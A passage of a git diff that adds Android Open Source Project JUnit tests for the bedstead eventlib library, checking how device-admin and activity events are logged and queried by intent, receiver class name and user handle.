+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminDisabledEvent> eventLogs =
+                DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminDisabledEvent> eventLogs =
+                DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
new file mode 100644
index 0000000..894dea0
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminEnabledEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminEnabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminEnabledEvent> eventLogs =
+                DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
new file mode 100644
index 0000000..28c5966
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminPasswordChangedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminPasswordChangedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereUserHandle_works() {
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setUserHandle(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereUserHandle().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereUserHandle_skipsNonMatching() {
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setUserHandle(DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminPasswordChangedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setUserHandle(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
+                DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
+                        .whereUserHandle().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ActivityInfoTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ActivityInfoTest.java
new file mode 100644
index 0000000..17b8e1d
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ActivityInfoTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.activitycontext.ActivityContext;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ActivityInfoTest {
+
+    private static final Class<? extends Activity> TEST_CLASS = ActivityContext.class;
+    private static final String TEST_CLASS_NAME = ActivityContext.class.getName();
+    private static final String TEST_CLASS_SIMPLE_NAME = ActivityContext.class.getSimpleName();
+
+    @Test
+    public void classConstructor_setsClassName() {
+        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS);
+
+        assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void instanceConstructor_setsClassName() throws Exception {
+        ActivityInfo activityInfo = ActivityContext.getWithContext(ActivityInfo::new);
+
+        assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void stringConstructor_setsClassName() {
+        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS_NAME);
+
+        assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void simpleName_getsSimpleName() {
+        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS_NAME);
+
+        assertThat(activityInfo.simpleName()).isEqualTo(TEST_CLASS_SIMPLE_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/BroadcastReceiverInfoTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/BroadcastReceiverInfoTest.java
new file mode 100644
index 0000000..2121c86
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/BroadcastReceiverInfoTest.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class BroadcastReceiverInfoTest {
+
+    private static class TestBroadcastReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+
+        }
+    }
+
+    private static final Class<? extends BroadcastReceiver> TEST_BROADCAST_RECEIVER_CLASS =
+            TestBroadcastReceiver.class;
+    private static final String TEST_BROADCAST_RECEIVER_CLASS_NAME =
+            TestBroadcastReceiver.class.getName();
+    private static final String TEST_BROADCAST_RECEIVER_SIMPLE_NAME =
+            TestBroadcastReceiver.class.getSimpleName();
+    private static final BroadcastReceiver TEST_BROADCAST_RECEIVER_INSTANCE =
+            new TestBroadcastReceiver();
+
+    @Test
+    public void classConstructor_setsClassName() {
+        BroadcastReceiverInfo broadcastReceiverInfo = new BroadcastReceiverInfo(
+                TEST_BROADCAST_RECEIVER_CLASS);
+
+        assertThat(broadcastReceiverInfo.className())
+                .isEqualTo(TEST_BROADCAST_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void instanceConstructor_setsClassName() {
+        BroadcastReceiverInfo broadcastReceiverInfo = new BroadcastReceiverInfo(
+                TEST_BROADCAST_RECEIVER_INSTANCE);
+
+        assertThat(broadcastReceiverInfo.className())
+                .isEqualTo(TEST_BROADCAST_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void stringConstructor_setsClassName() {
+        BroadcastReceiverInfo broadcastReceiverInfo = new BroadcastReceiverInfo(
+                TEST_BROADCAST_RECEIVER_CLASS_NAME);
+
+        assertThat(broadcastReceiverInfo.className())
+                .isEqualTo(TEST_BROADCAST_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void simpleName_getsSimpleName() {
+        BroadcastReceiverInfo broadcastReceiverInfo = new BroadcastReceiverInfo(
+                TEST_BROADCAST_RECEIVER_CLASS_NAME);
+
+        assertThat(broadcastReceiverInfo.simpleName())
+                .isEqualTo(TEST_BROADCAST_RECEIVER_SIMPLE_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ClassInfoTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ClassInfoTest.java
new file mode 100644
index 0000000..615cda1
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ClassInfoTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ClassInfoTest {
+
+    private static final Class<?> TEST_CLASS = ClassInfoTest.class;
+    private static final String TEST_CLASS_NAME = ClassInfoTest.class.getName();
+    private static final String TEST_CLASS_SIMPLE_NAME = ClassInfoTest.class.getSimpleName();
+    private final ClassInfoTest mTestClassInstance = this;
+
+    @Test
+    public void classConstructor_setsClassName() {
+        ClassInfo classInfo = new ClassInfo(TEST_CLASS);
+
+        assertThat(classInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void instanceConstructor_setsClassName() {
+        ClassInfo classInfo = new ClassInfo(mTestClassInstance);
+
+        assertThat(classInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void stringConstructor_setsClassName() {
+        ClassInfo classInfo = new ClassInfo(TEST_CLASS_NAME);
+
+        assertThat(classInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void simpleName_getsSimpleName() {
+        ClassInfo classInfo = new ClassInfo(TEST_CLASS_NAME);
+
+        assertThat(classInfo.simpleName()).isEqualTo(TEST_CLASS_SIMPLE_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/DeviceAdminReceiverInfoTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/DeviceAdminReceiverInfoTest.java
new file mode 100644
index 0000000..52505ed
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/DeviceAdminReceiverInfoTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class DeviceAdminReceiverInfoTest {
+
+    private static final Class<? extends DeviceAdminReceiver> TEST_DEVICE_ADMIN_RECEIVER_CLASS =
+            DeviceAdminReceiver.class;
+    private static final String TEST_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            DeviceAdminReceiver.class.getName();
+    private static final String TEST_DEVICE_ADMIN_RECEIVER_SIMPLE_NAME =
+            DeviceAdminReceiver.class.getSimpleName();
+    private static final DeviceAdminReceiver TEST_DEVICE_ADMIN_RECEIVER_INSTANCE =
+            new DeviceAdminReceiver();
+
+    @Test
+    public void classConstructor_setsClassName() {
+        DeviceAdminReceiverInfo deviceAdminReceiverInfo = new DeviceAdminReceiverInfo(
+                TEST_DEVICE_ADMIN_RECEIVER_CLASS);
+
+        assertThat(deviceAdminReceiverInfo.className())
+                .isEqualTo(TEST_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void instanceConstructor_setsClassName() {
+        DeviceAdminReceiverInfo deviceAdminReceiverInfo = new DeviceAdminReceiverInfo(
+                TEST_DEVICE_ADMIN_RECEIVER_INSTANCE);
+
+        assertThat(deviceAdminReceiverInfo.className())
+                .isEqualTo(TEST_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void stringConstructor_setsClassName() {
+        DeviceAdminReceiverInfo deviceAdminReceiverInfo = new DeviceAdminReceiverInfo(
+                TEST_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(deviceAdminReceiverInfo.className())
+                .isEqualTo(TEST_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void simpleName_getsSimpleName() {
+        DeviceAdminReceiverInfo deviceAdminReceiverInfo = new DeviceAdminReceiverInfo(
+                TEST_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(deviceAdminReceiverInfo.simpleName())
+                .isEqualTo(TEST_DEVICE_ADMIN_RECEIVER_SIMPLE_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
new file mode 100644
index 0000000..a55faaf
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -0,0 +1,298 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+import com.android.eventlib.events.activities.ActivityDestroyedEvent;
+import com.android.eventlib.events.activities.ActivityPausedEvent;
+import com.android.eventlib.events.activities.ActivityRestartedEvent;
+import com.android.eventlib.events.activities.ActivityResumedEvent;
+import com.android.eventlib.events.activities.ActivityStartedEvent;
+import com.android.eventlib.events.activities.ActivityStoppedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibActivityTest {
+
+    // This must exist as an <activity> in AndroidManifest.xml
+    private static final String GENERATED_ACTIVITY_CLASS_NAME
+            = "com.android.generatedEventLibActivity";
+
+    private static final Instrumentation sInstrumentation =
+            InstrumentationRegistry.getInstrumentation();
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void launchEventLibActivity_logsActivityCreatedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        sContext.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
